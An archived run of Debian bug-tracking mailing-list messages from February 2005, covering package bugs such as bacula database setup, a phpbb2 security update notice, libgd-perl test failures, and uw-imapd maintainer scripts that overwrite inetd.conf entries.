Bug#289838: Creating databases for the bacula-director
Hi, just a hint, maybe I have the time to look deeper into it at the weekend. Don't reinvent the wheel when creating databases in postinst, resp. removing them on purge. Use the wwwconfig-common framework. The package name might be misleading the package supports additionally to manipulating the apache and php config also creating and removing of database, user... for mysql and postgres. These packages have rdepends on wwwconfig-common. most of them just use it for configuring apache and php, but some of them to create databases and db users. Esp. horde2 is a very good one. acidlab: Analysis Console for Intrusion Databases amavis-stats: Virus statistics RRDtool frontend for Amavis backuppc: high-performance, enterprise-grade system for backing up PCs backuppc: high-performance, enterprise-grade system for backing up PCs cacti: Frontend to rrdtool for monitoring systems and services cacti: Frontend to rrdtool for monitoring systems and services dacode: Powerful and full-featured news engine written in PHP dcl: GNU Enterprise - Double Choco Latte diogenes: web content management system diogenes: web content management system drupal: fully-featured content management/discussion engine flyspray: lightweight Bug Tracking System (BTS) in PHP flyspray: lightweight Bug Tracking System (BTS) in PHP horde2: The Horde Web Application Suite imp3: Web Based Mail Program irm: Web-based asset tracking system for IT departments and help desks jffnms: web-based Network Management System (NMS) for IP networks jsboard: A web-based news/discussion system kronolith: Web Based Calendar Manager ldap-account-manager: Webfrontend for managing Unix and Samba accounts in a LDAP directory libapache-mod-acct-mysql: Accounting module for Apache, mysql version libapache-mod-acct-pgsql: Accounting module for Apache, postgresql version libapache-mod-mono: Run ASP.NET Pages on UNIX with Apache and Mono mantis: web-based bug tracking system mediamate: web-based movie database and tracker mnemo: Notes and Memo Application moodle: Course Management System for Online Learning myphpmoney: Finance manager written in PHP nag: Multiuser Task List Manager nagat: Nagios Administration Tool opendb: Web-based lending database written in PHP openwebmail: WebMail based on Neomail phpbb2-conf-mysql: Automatic configurator for phpbb2 on MySQL database phpbb2-conf-mysql: Automatic configurator for phpbb2 on MySQL database phpgroupware: web based groupware system written in PHP phppgadmin: Set of PHP scripts to administrate PostgreSQL over the WWW phppgadmin: Set of PHP scripts to administrate PostgreSQL over the WWW phpqladmin: LDAP user administration interface poker3d-server: 3D multiplayer online poker game, server side remstats: Remote Statistics System: collectors and presentation-cgis scoop: Web-based collaborative media application sitebar: A web based bookmark manager written in PHP sitebar: A web based bookmark manager written in PHP spip: User Friendly and powerful Publishing System (CMS) built in php spip-eva: User Friendly but powerful Content Managment System build in php spong-www: A systems and network monitoring system -- web interface sugarplum: an automated and intelligent spam trap/cache-poisoner sugarplum: an automated and intelligent spam trap/cache-poisoner turba: A web based contact manager tutos: The Ultimate Team Organisation Sofware w3c-markup-validator: W3C Markup Validator zoph: Web based digital image presentation and management system -- Jörg Friedrich There are only 10 types of people: Those who understand binary and those who don't.
Processed: zircon: Fails to start
Processing commands for [EMAIL PROTECTED]: tags 296531 patch Bug#296531: zircon: Fails to start There were no tags set. Tags added: patch thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#296536: aspell-sl: Needs to be rebuilt for Aspell 0.60
Brian Nelson wrote: Package: aspell-sl Severity: grave Tags: sid This package needs to be rebuilt to support Aspell 0.60. The maintainer provided a preliminary package here: http://gand.owca.info/aspell/0.60/ But it's broken and he has not replied to my queries. Hello. At the same location you can find updated version with previous problems fixed. Sorry for the delay. regards Jure Cuhalev -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: Reassign 296557 to ipsec-tools
Processing commands for [EMAIL PROTECTED]: reassign 296557 ipsec-tools Bug#296557: openswan requires ipsec-tools but conflicts with it Bug reassigned from package `openswan' to `ipsec-tools'. (Justification: openswan has always had the file /etc/ipsec.conf as config Unknown command or malformed arguments to command. file while ipsec-tools added it recently. A possible solution would be to Unknown command or malformed arguments to command. split the setkey binary from ipsec-tools, which is the only thing openswan Unknown command or malformed arguments to command. needs.) Unknown command or malformed arguments to command. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: tagging 295904
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.8.10 tags 295904 fixed-upstream Bug#295904: gaim: 1.1.3-1: dies with SIGABRT on startup Tags were: help Tags added: fixed-upstream End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#296582: security fixed version 2.0.12 available
Package: phpbb2 Version: 2.0.11-1 Severity: critical Tags: security Hi, version 2.0.12 was released to fix potential security exploits. Even though there seems to be no practical exploit in the wild yet, this is no reason to assume there is no existing one. Details are at: http://www.phpbb.com/phpBB/viewtopic.php?f=14t=265423 -- System Information: Debian Release: 3.1 APT prefers testing APT policy: (990, 'testing'), (800, 'unstable') Architecture: i386 (x86_64) Kernel: Linux 2.6.10-vs1.9.3.16 Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968) Versions of packages phpbb2 depends on: ii apache2 2.0.52-3 Next generation, scalable, extenda ii apache2-mpm-prefork [httpd] 2.0.52-3 Traditional model for Apache2 ii debconf 1.4.30.11 Debian configuration management sy ii libapache2-mod-php4 4:4.3.10-2 server-side, HTML-embedded scripti ii php4 4:4.3.10-2 server-side, HTML-embedded scripti ii php4-mysql4:4.3.10-2 MySQL module for php4 ii php4-pgsql3:4.3.9-1 PostgreSQL module for php4 -- debconf information excluded -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#282292: Bug#282293: libgd-perl FTBFS test failures
Hi, I looked into the libgd-perl FTBFS test failures. They are due to slight differences in PNG output. There is no visible difference between the generated and expected data, and the diff between them is very small (see the end). I have not investigated what the changed bytes mean in the PNG format. Iterating with packages from snapshot.debian.net I found that the change that broke the tests was introduced in version 1.2.7-1 of the libpng3 source package. The tests are successful with version 1.2.5.0-9 of the libpng12-0 binary package installed. The upstream changelog between 1.2.5 and 1.2.7 is rather long. Hope this helps. If you decide to keep libgd-perl out of sarge, these packages still seem to suggest or recommend it: ipac-ng remstats diablo libtemplate-perl Differences in the test output, generated by first running 'od -x' on generated and expected data and then diffing them. (The output of test 9 is the same as test 10.) --- test.out.4.png.hex 2005-02-23 13:41:09.0 +0200 +++ test.out.4.png.hex.new 2005-02-23 13:41:09.0 +0200 @@ -2,7 +2,7 @@ 020 6400 3200 0302 d700 965b 040 002d 500c 544c 0045 060 01ff 331d 004a 49bc 4144 -100 7854 ad9c c194 830d 0c30 1345 ba09 cc01 +100 3854 ad8d c194 830d 0c30 1345 ba09 cc01 120 1193 207a 303d d302 40f4 8036 7f03 8aca 140 8544 f126 10b7 3fea c9e6 b1f9 db63 4b98 160 e46a cee3 5547 d6e7 884f cff2 7882 157c @@ -13,6 +13,6 @@ 300 b210 22dc a272 aa7b f5ff f9e1 a9dc af0e 320 f2b5 fc3f 794f f01f e1de a6fd 28f4 6bef 340 0b3e fcca 99f0 e653 cf94 b2b6 940f a21d -360 1dec abbe b2a2 f6fd 1101 4db6 5428 f2cc -400 005e 4900 4e45 ae44 6042 0082 +360 1dec abbe b2a2 f6fd 1101 4db6 a128 a510 +400 00c2 4900 4e45 ae44 6042 0082 415 --- test.out.10.png.hex 2005-02-23 13:41:09.0 +0200 +++ test.out.10.png.hex.new 2005-02-23 13:41:09.0 +0200 @@ -49,7 +49,7 @@ 0001400 8ce4 a224 4824 52d0 da68 d4d4 1c92 ab3c 0001420 5437 cce2 9e34 f42c 3c92 9254 4864 3eac 0001440 bb47 3233 28bb f017 03ee df30 008a 0700 -0001460 49af 4144 7854 6d9c 0d54 5358 19d7 1d3e +0001460 49af 4144 4854 6d89 0d54 5358 19d7 1d3e 0001500 bfc4 8b3a 9355 8103 7e12 b824 04d3 0d32 0001520 b368 04ec 0202 70c5 9567 e20d 8c96 80fc 0001540 1245 f043 2262 0897 6e9b 684f 74cb ad5a @@ -172,6 +172,6 @@ 0005260 1e61 f9a5 d2fc c251 212e 3921 1d41 b3c4 0005300 33d2 0f82 082c 2448 278a 0e46 84bb cfcf 0005320 9fa0 b23c 4269 7252 0248 10b6 14d6 01ff -0005340 1633 2cb0 40af 7cee 4549 444e +0005340 1633 2cb0 6a8a bf9c 4549 444e 0005360 42ae 8260 0005364 Cheers, -- Niko Tyni [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#296274: kernel-image-2.6.8-2-32: forward bug - segmentation fault : kernel cause
Hi again, I got your message, but deleted it, assuming it was also in the BTS. Could you resend it, and also Cc: [EMAIL PROTECTED] Thanks, Justin References [0] http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=296274 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#296582: marked as done (security fixed version 2.0.12 available)
Your message dated Wed, 23 Feb 2005 13:49:37 +0100 with message-id [EMAIL PROTECTED] and subject line Bug#296582: security fixed version 2.0.12 available has caused the attached Bug report to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what I am talking about this indicates a serious mail system misconfiguration somewhere. Please contact me immediately.) Debian bug tracking system administrator (administrator, Debian Bugs database) -- Received: (at submit) by bugs.debian.org; 23 Feb 2005 12:17:27 + From [EMAIL PROTECTED] Wed Feb 23 04:17:27 2005 Return-path: [EMAIL PROTECTED] Received: from nyx.verfaction.de (mx.verfaction.de) [212.9.161.72] (Debian-exim) by spohr.debian.org with esmtp (Exim 3.35 1 (Debian)) id 1D3vSI-0005dl-00; Wed, 23 Feb 2005 04:17:27 -0800 Received: from kk by mx.verfaction.de with local (Exim 4.34) id 1D3vSF-00067P-Hn for [EMAIL PROTECTED]; Wed, 23 Feb 2005 13:17:23 +0100 Content-Type: text/plain; charset=us-ascii MIME-Version: 1.0 Content-Transfer-Encoding: 7bit From: Kilian Krause [EMAIL PROTECTED] To: Debian Bug Tracking System [EMAIL PROTECTED] X-Mailer: reportbug 3.8 Date: Wed, 23 Feb 2005 13:17:23 +0100 Message-Id: [EMAIL PROTECTED] Sender: Kilian Krause [EMAIL PROTECTED] X-SA-Exim-Connect-IP: locally generated X-SA-Exim-Mail-From: [EMAIL PROTECTED] Subject: security fixed version 2.0.12 available X-SA-Exim-Version: 4.2 (built Tue, 25 Jan 2005 19:36:50 +0100) Delivered-To: [EMAIL PROTECTED] X-Spam-Checker-Version: SpamAssassin 2.60-bugs.debian.org_2005_01_02 (1.212-2003-09-23-exp) on spohr.debian.org X-Spam-Status: No, hits=-8.0 required=4.0 tests=BAYES_00,HAS_PACKAGE autolearn=no version=2.60-bugs.debian.org_2005_01_02 X-Spam-Level: Package: phpbb2 Version: 2.0.11-1 Severity: critical Tags: security Hi, version 2.0.12 was released to fix potential security exploits. Even though there seems to be no practical exploit in the wild yet, this is no reason to assume there is no existing one. Details are at: http://www.phpbb.com/phpBB/viewtopic.php?f=14t=265423 -- System Information: Debian Release: 3.1 APT prefers testing APT policy: (990, 'testing'), (800, 'unstable') Architecture: i386 (x86_64) Kernel: Linux 2.6.10-vs1.9.3.16 Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968) Versions of packages phpbb2 depends on: ii apache2 2.0.52-3 Next generation, scalable, extenda ii apache2-mpm-prefork [httpd] 2.0.52-3 Traditional model for Apache2 ii debconf 1.4.30.11 Debian configuration management sy ii libapache2-mod-php4 4:4.3.10-2 server-side, HTML-embedded scripti ii php4 4:4.3.10-2 server-side, HTML-embedded scripti ii php4-mysql4:4.3.10-2 MySQL module for php4 ii php4-pgsql3:4.3.9-1 PostgreSQL module for php4 -- debconf information excluded --- Received: (at 296582-done) by bugs.debian.org; 23 Feb 2005 12:49:49 + From [EMAIL PROTECTED] Wed Feb 23 04:49:49 2005 Return-path: [EMAIL PROTECTED] Received: from a-eskwadraat.nl [131.211.34.218] by spohr.debian.org with esmtp (Exim 3.35 1 (Debian)) id 1D3vxS-0001sM-00; Wed, 23 Feb 2005 04:49:38 -0800 Received: from jeroen by A-Eskwadraat.nl with local (Exim 3.35 #1 (Debian)) id 1D3vxR-0002rw-00 for [EMAIL PROTECTED]; Wed, 23 Feb 2005 13:49:37 +0100 Date: Wed, 23 Feb 2005 13:49:37 +0100 To: [EMAIL PROTECTED] Subject: Re: Bug#296582: security fixed version 2.0.12 available Message-ID: [EMAIL PROTECTED] References: [EMAIL PROTECTED] Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: [EMAIL PROTECTED] User-Agent: Mutt/1.3.28i From: Jeroen van Wolffelaar [EMAIL PROTECTED] Delivered-To: [EMAIL PROTECTED] X-Spam-Checker-Version: SpamAssassin 2.60-bugs.debian.org_2005_01_02 (1.212-2003-09-23-exp) on spohr.debian.org X-Spam-Status: No, hits=-6.0 required=4.0 tests=BAYES_00,HAS_BUG_NUMBER autolearn=no version=2.60-bugs.debian.org_2005_01_02 X-Spam-Level: On Wed, Feb 23, 2005 at 01:17:23PM +0100, Kilian Krause wrote: Hi, version 2.0.12 was released to fix potential security exploits. Even though there seems to be no practical exploit in the wild yet, this is no reason to assume there is no existing one. phpbb2 | 2.0.11-1 | testing | source, all phpbb2 | 2.0.12-1 | unstable | source, all Please check whether maybe the maintainer has already uploaded the newest version -- it hit unstable less than 24 hours after the version version got announced, and this is visible on packages.debian.org. --Jeroen -- Jeroen van
Bug#296582: acknowledged by developer (Re: Bug#296582: security fixed version 2.0.12 available)
tags 296582 + sarge reopen 296582 thanks Hi Jeroen, version 2.0.12 was released to fix potential security exploits. Even though there seems to be no practical exploit in the wild yet, this is no reason to assume there is no existing one. phpbb2 | 2.0.11-1 | testing | source, all phpbb2 | 2.0.12-1 | unstable | source, all Please check whether maybe the maintainer has already uploaded the newest version -- it hit unstable less than 24 hours after the version version got announced, and this is visible on packages.debian.org. yes, i'm sorry. I lacked the tag sarge. -- Best regards, Kilian signature.asc Description: Dies ist ein digital signierter Nachrichtenteil
Bug#282293: libgd-perl FTBFS test failures
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On 23-02-2005 13:41, Niko Tyni wrote: Hi, I looked into the libgd-perl FTBFS test failures. They are due to slight differences in PNG output. Hope this helps. If you decide to keep libgd-perl out of sarge, these packages still seem to suggest or recommend it: ipac-ng remstats diablo libtemplate-perl Thanks alot for the investigations and the patch. I will fix and see if I can figure out how to get it back into sarge. - Jonas - -- * Jonas Smedegaard - idealist og Internet-arkitekt * Tlf.: +45 40843136 Website: http://dr.jones.dk/ - Enden er nær: http://www.shibumi.org/eoti.htm -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.0 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFCHIfmn7DbMsAkQLgRAi1EAKCE0Umnxa8YU2rzneDNHpCkq5GVXgCfdtaC FkSa9W2bPKrt89abj8U0Yb0= =Yo3l -END PGP SIGNATURE-
Bug#295306: debian/uw-imapd-ssl.postinst clobbers existing imaps line params
On Mon, Feb 14, 2005 at 02:54:39PM -0800, Krishna `Shamu' Sethuraman wrote: Package: uw-imapd Version: 7:2002edebian1-6 Severity: serious Justification: Policy 10.7.3 Ref also bug 190314 . Sorry if the Justification tag is wrong, but I suspect it's related to that section. uw-imapd-ssl.postinst under sarge clobbers my sysadmin's /etc/inetd.conf line: #imaps stream tcp nowait root/usr/sbin/tcpd /usr/sbin/imapd # Removed tcpd from imaps so I can limit imapd to localhost for webmail imaps stream tcp nowait root/usr/sbin/imapd This last upgrade changed the imaps line to: imaps stream tcp nowait root/usr/sbin/tcpd /usr/sbin/imapd possibly as a result of DEBIAN/postinst: in `echo $RET | sed 's/,/ /g'`; do ... elif [ $i = imaps ]; then update-inetd --group mail --add imaps stream tcp nowait root /usr/sbin/tcpd /usr/sbin/imapd; fi done I'll give it a try, but the fault here is not uw-impad one but update-inedtd. looking at update-inted(8) I see : --add ENTRY Add an entry to /etc/inetd.conf . A description of the ENTRY format can be found in the inetd(8) or inetd.conf(5) manual pages (or just look at the /etc/services file). In order to pre- vent the shell from changing your ENTRY definition you have to quote the ENTRY using single or double quotes. You can use tabs (the tab character or \t) and spaces to separate the fields of the ENTRY. To add the ENTRY to a specific section in the /etc/inetd.conf file please use the --group option in addtion to the --add option. If you are trying to add an entry which already exists update- inetd won't add the entry. For uncommented entries it will do nothing and for entries that are commented out by the comment- chars (see option --comment-chars ) it will enable the existing entry. If you want to completely replace an entry just remove the entry with the --remove option first. So i guess the problems here is that he encountered the first commented line, un commentend it or sth like that. I'll investigate further. -- ·O· Pierre Habouzit ··O OOOhttp://www.madism.org
Bug#289838: Creating databases for the bacula-director
Joerg Friedrich wrote: Hi, just a hint, maybe I have the time to look deeper into it at the weekend. Don't reinvent the wheel when creating databases in postinst, resp. removing them on purge. Use the wwwconfig-common framework. No, that is not an option right now: - wwwconfig-common is *deprecated* for DB-related config - we are too close to a release The package name might be misleading the package supports additionally to manipulating the apache and php config also creating and removing of database, user... for mysql and postgres. Yes, I know. That is why is proposed a migration to *dbconfig-common* [which was designed precisely for this purpose] long ago. These packages have rdepends on wwwconfig-common. most of them just use it for configuring apache and php, but some of them to create databases and db users. Esp. horde2 is a very good one. Well, those packages will start receiving RC bugs to get them migrated to wwwconfig-common + dbconfig-common (or just one of them, as appropiate), as soon as dbconfig-common has been completely tested (specially by means of a series of experimental bacula-director package releases) and Sarge has been released. Sorry if i sounded too harsh, but there is no way that i can get everything migrated with so little time. And then, wwwconfig-common is quite a mess to be used in Bacula's postinst scripts -- dbconfig-common is the way to go. Anyways, your attention and suggestion is very much appreciated. Please keep the feedback coming. Best, J.L. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: Raising severity of 296539 and 296586
Processing commands for [EMAIL PROTECTED]: severity 296586 serious Bug#296586: xlibmesa-dri: modules in package are not stripped Severity set to `serious'. severity 296539 serious Bug#296539: xserver-xfree86: Needing too much space to upgrade Severity set to `serious'. thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#296250: dcgui-qt/valknut
Hi! It seems that dcgui-qt has been renamed to valknut and is therefore stuck in incoming/NEW. Pasi, could you please make the package available from an unofficial site somewhere, until the new package is accepted by the ftp masters? -- Kind regards, ++ | Bas Zoetekouw | GPG key: 0644fab7 | || Fingerprint: c1f5 f24c d514 3fec 8bf6 | | [EMAIL PROTECTED], [EMAIL PROTECTED] | a2b1 2bae e41f 0644 fab7 | ++ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#296066: marked as done (source tarball includes sourceless video.x)
Your message dated Wed, 23 Feb 2005 09:47:28 -0500 with message-id [EMAIL PROTECTED] and subject line Bug#296066: fixed in pearpc 0.3.1+1-1 has caused the attached Bug report to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what I am talking about this indicates a serious mail system misconfiguration somewhere. Please contact me immediately.) Debian bug tracking system administrator (administrator, Debian Bugs database) -- Received: (at submit) by bugs.debian.org; 20 Feb 2005 00:09:27 + From [EMAIL PROTECTED] Sat Feb 19 16:09:27 2005 Return-path: [EMAIL PROTECTED] Received: from smtp812.mail.sc5.yahoo.com [66.163.170.82] by spohr.debian.org with smtp (Exim 3.35 1 (Debian)) id 1D2ef9-0001O4-00; Sat, 19 Feb 2005 16:09:27 -0800 Received: from unknown (HELO triplehelix.org) ([EMAIL PROTECTED]@68.126.186.117 with login) by smtp812.mail.sc5.yahoo.com with SMTP; 20 Feb 2005 00:09:26 - Received: from darjeeling (unknown [192.168.0.7]) by triplehelix.org (Postfix) with ESMTP id 1EDA52A95F2 for [EMAIL PROTECTED]; Sat, 19 Feb 2005 16:09:25 -0800 (PST) Received: from joshk by darjeeling with local (Exim 3.36 #1 (Debian)) id 1D2ef5-0005Tr-00 for [EMAIL PROTECTED]; Sat, 19 Feb 2005 16:09:23 -0800 Content-Type: text/plain; charset=us-ascii MIME-Version: 1.0 Content-Transfer-Encoding: 7bit From: Joshua Kwan [EMAIL PROTECTED] To: Debian Bug Tracking System [EMAIL PROTECTED] Subject: source tarball includes sourceless video.x X-Mailer: reportbug 3.8 Date: Sat, 19 Feb 2005 16:08:40 -0800 Message-Id: [EMAIL PROTECTED] Sender: Joshua Kwan [EMAIL PROTECTED] Delivered-To: [EMAIL PROTECTED] X-Spam-Checker-Version: SpamAssassin 2.60-bugs.debian.org_2005_01_02 (1.212-2003-09-23-exp) on spohr.debian.org X-Spam-Status: No, hits=-8.0 required=4.0 tests=BAYES_00,HAS_PACKAGE autolearn=no version=2.60-bugs.debian.org_2005_01_02 X-Spam-Level: Package: pearpc Version: 0.3.1-4.1 Severity: serious Hello, pearpc_0.3.1.orig.tar.gz contains the video.x file necessary for running Mac OS X. You noted in the default ppc.conf that indeed the package should not ship video.x because it lacks source, and in README.Debian that it could be obtained from upstream PearPC source or MOL source. Regardless, it still exists in the orig tarball. Since you have gone to great pains to detail where to obtain video.x due to it not being shipped in the package, it's probably a good idea to regenerate a new orig tarball that does not contain video.x and upload that. Thanks Josh -- System Information: Debian Release: 3.1 APT prefers unstable APT policy: (500, 'unstable'), (499, 'testing'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.9 Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) (ignored: LC_ALL set to en_US.UTF-8) Versions of packages pearpc depends on: ii libc6 2.3.2.ds1-20 GNU C Library: Shared libraries an ii libgcc1 1:3.4.3-9 GCC support library ii libsdl1.2debi 1.2.7+1.2.8cvs20041007-4.1 Simple DirectMedia Layer ii libstdc++51:3.3.5-8 The GNU Standard C++ Library v3 -- no debconf information --- Received: (at 296066-close) by bugs.debian.org; 23 Feb 2005 14:54:00 + From [EMAIL PROTECTED] Wed Feb 23 06:54:00 2005 Return-path: [EMAIL PROTECTED] Received: from newraff.debian.org [208.185.25.31] (mail) by spohr.debian.org with esmtp (Exim 3.35 1 (Debian)) id 1D3xto-0007pD-00; Wed, 23 Feb 2005 06:54:00 -0800 Received: from katie by newraff.debian.org with local (Exim 3.35 1 (Debian)) id 1D3xnU-0004S6-00; Wed, 23 Feb 2005 09:47:28 -0500 From: Leo Costela [EMAIL PROTECTED] To: [EMAIL PROTECTED] X-Katie: $Revision: 1.55 $ Subject: Bug#296066: fixed in pearpc 0.3.1+1-1 Message-Id: [EMAIL PROTECTED] Sender: Archive Administrator [EMAIL PROTECTED] Date: Wed, 23 Feb 2005 09:47:28 -0500 Delivered-To: [EMAIL PROTECTED] X-Spam-Checker-Version: SpamAssassin 2.60-bugs.debian.org_2005_01_02 (1.212-2003-09-23-exp) on spohr.debian.org X-Spam-Status: No, hits=-6.0 required=4.0 tests=BAYES_00,HAS_BUG_NUMBER autolearn=no version=2.60-bugs.debian.org_2005_01_02 X-Spam-Level: X-CrossAssassin-Score: 3 Source: pearpc Source-Version: 0.3.1+1-1 We believe that the bug you reported is fixed in the latest version of pearpc, which is due to be installed in the Debian FTP archive: pearpc_0.3.1+1-1.diff.gz to pool/main/p/pearpc/pearpc_0.3.1+1-1.diff.gz pearpc_0.3.1+1-1.dsc to pool/main/p/pearpc/pearpc_0.3.1+1-1.dsc pearpc_0.3.1+1-1_i386.deb to pool/main/p/pearpc/pearpc_0.3.1+1-1_i386.deb pearpc_0.3.1+1.orig.tar.gz to
Bug#295306: Need advice wrt #295306 (Was: debian/uw-imapd-ssl.postinst clobbers existing imaps line params)
possibly as a result of DEBIAN/postinst:
I was misleaded by this line
in fact, the bug is triggered by the postrm that does not check if the
package is actually beeing upgraded or not.
here are two correct postrm (you only need to put them in place of the
previous ones), that will correct the bug for upgrades *FROM THE NEW
VERSION* to future one only.
so it does not fix the bug, it only prevent it to happen *in the
future*
here is the full explanation : http://www.madism.org/~madcoder/295306.txt
I send this mail to debian-mentors@ to have some advices on how to
deal with a *real* fix that implies some dpkg files
(/var/lib/dpkg/info/postrm) from the new postinst.
--
·O· Pierre Habouzit
··O
OOOhttp://www.madism.org
#!/bin/sh
set -e
# Source debconf library.
. /usr/share/debconf/confmodule
db_version 2.0
##
## Remove imapd from inetd.conf
##
clean_inetd () {
db_get uw-imapd/protocol
for i in `echo $RET | sed 's/,/ /g'`; do
if [ $i = imap2 ]; then
update-inetd --remove imap2;
elif [ $i = imap3 ]; then
update-inetd --remove imap3;
elif [ $i = imaps ]; then
update-inetd --remove imaps;
fi
done
}
case $1 in
remove)
clean_inetd
;;
purge)
clean_inetd
if [ -a -f /etc/ssl/certs/imapd.pem ]; then
echo SSL certificate /etc/ssl/certs/imapd.pem is NOT removed.
echo Please remove manually if required.
#cd /etc/ssl/certs
#PATH=$PATH:/usr/bin/ssl
#rm -f `openssl x509 -noout -hash imapd.pem`.0 || true
#if [ -f imapd.pem ]; then rm -f imapd.pem; fi
fi
;;
*)
;;
esac
#DEBHELPER#
exit 0
#!/bin/sh
set -e
# Source debconf library.
. /usr/share/debconf/confmodule
db_version 2.0
##
## Remove POP daemons from inetd.conf
##
clean_inetd () {
db_get ipopd/protocol
for i in `echo $RET | sed 's/,/ /g'`; do
if [ $i = pop2 ]; then
update-inetd --remove pop2;
elif [ $i = pop3 ]; then
update-inetd --remove pop3;
elif [ $i = pop3s ]; then
update-inetd --remove pop3s;
fi
done
}
case $1 in
remove)
clean_inetd
;;
purge)
clean_inetd
if [ -a -f /etc/ssl/certs/ipop3d.pem ]; then
echo SSL certificate /etc/ssl/certs/ipop3d.pem is NOT removed.
echo Please remove the file manually.
#cd /etc/ssl/certs
#PATH=$PATH:/usr/bin/ssl
#rm -f `openssl x509 -noout -hash ipop3d.pem`.0 || true
#if [ -f ipop3d.pem ]; then rm -f ipop3d.pem; fi
fi
;;
*)
;;
esac
#DEBHELPER#
exit 0
Bug#296201: Not RC, IMHO
mount has its shortcomings, but I think it is stretching it to describe the reported behavior as a secutiry hole. It isn't likely that this problem would be allowed either to delay the release or to force the removal of mount from the release. Also, assuming the shortcoming exists in all versions of mount, it shouldn't prevent new versions of mount from migrating to testing. Therefore I suggest that the severity of this report be downgraded. -- Thomas Hood -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#296274: Fwd: [parisc-linux] Fwd: Bug#296274: kernel-image-2.6.8-2-32: forward bug - segmentation fault : kernel cause ?
-- Forwarded message -- From: Roel Teuwen [EMAIL PROTECTED] Date: Tue, 22 Feb 2005 00:23:04 +0100 Subject: Re: [parisc-linux] Fwd: Bug#296274: kernel-image-2.6.8-2-32: forward bug - segmentation fault : kernel cause ? To: Matthew Wilcox [EMAIL PROTECTED] Cc: Kyle McMartin [EMAIL PROTECTED], [EMAIL PROTECTED] On Mon, 21 Feb 2005 19:06:06 +, Matthew Wilcox [EMAIL PROTECTED] wrote: On Mon, Feb 21, 2005 at 01:57:27PM -0500, Kyle McMartin wrote: - Forwarded message from Roel Teuwen [EMAIL PROTECTED] - From: Roel Teuwen [EMAIL PROTECTED] Subject: Bug#296274: kernel-image-2.6.8-2-32: forward bug - segmentation fault : kernel cause ? Message-Id: [EMAIL PROTECTED] To: Debian Bug Tracking System [EMAIL PROTECTED] Date: Mon, 21 Feb 2005 14:34:24 +0100 X-Mailer: reportbug 3.8 Package: kernel-image-2.6.8-2-32 Version: 2.6.8-6 Severity: grave Justification: renders package unusable After filing bugreport #294167 (apt-listbugs: segmentation fault on hppa), it was closed by the developer, stating the cause is the kernel because of kernel messages in dmesg. The message quoted in that bug looks like a kernel bug. The message quoted here looks like an application bug. Thing is that it is always triggered by apt-listbugs segfaulting. The message I posted in the original (apt-listbugs) bug was incomplete, it was also preceded by a segfault in dmesg, the trap 27 that follows immidiately after varies in (IOAQ etc differ) though, but always follows. The bug does not occur always, but seems to be occuring when lots of packages are upgraded (lots of bugreports). Thanks for any insights. Best regards, Roel -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#279154: marked as done (swami files are in /debian/....)
Your message dated Wed, 23 Feb 2005 17:20:28 +0100 (CET) with message-id [EMAIL PROTECTED] and subject line swami files are in /debian/ has caused the attached Bug report to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what I am talking about this indicates a serious mail system misconfiguration somewhere. Please contact me immediately.) Debian bug tracking system administrator (administrator, Debian Bugs database) -- Received: (at submit) by bugs.debian.org; 1 Nov 2004 01:13:43 + From [EMAIL PROTECTED] Sun Oct 31 17:13:43 2004 Return-path: [EMAIL PROTECTED] Received: from smtp10.wanadoo.fr (mwinf1006.wanadoo.fr) [193.252.22.21] by spohr.debian.org with esmtp (Exim 3.35 1 (Debian)) id 1COQlT-0002dz-00; Sun, 31 Oct 2004 17:13:43 -0800 Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1006.wanadoo.fr (SMTP Server) with SMTP id 32FC41800090; Mon, 1 